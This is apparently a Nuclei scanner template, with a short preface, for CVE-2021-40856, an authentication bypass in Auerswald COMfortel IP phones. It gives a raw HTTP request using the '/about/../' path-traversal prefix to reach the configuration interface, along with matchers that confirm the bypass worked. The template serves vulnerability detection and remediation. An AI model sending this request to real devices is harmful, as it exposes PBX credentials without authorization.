Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
PoC代码[已公开]
id: CVE-2021-40856
info:
name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass
author: gy741
severity: high
description: Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
impact: |
An attacker can bypass authentication and gain unauthorized access to the device.
remediation: |
Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-40856
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass
- https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses
- http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40856
cwe-id: CWE-706
epss-score: 0.75825
epss-percentile: 0.9887
cpe: cpe:2.3:o:auerswald:comfortel_3600_ip_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: auerswald
product: comfortel_3600_ip_firmware
tags: cve2021,cve,packetstorm,comfortel,auth-bypass,auerswald
http:
- raw:
- |
GET /about/../tree?action=get HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"TYPE"'
- '"ITEMS"'
- '"COUNT"'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
# digest: 4a0a004730450220701b5285c7cd6fcdbff06f4fb2577d011dfd385d1f91c4f7fb44c9fe7d95699f022100ba8031edc67c3665dee987b9f5e6575181b26100cd10925c73104ea286f3323e:922c64590222798bb761d5b6d8e72950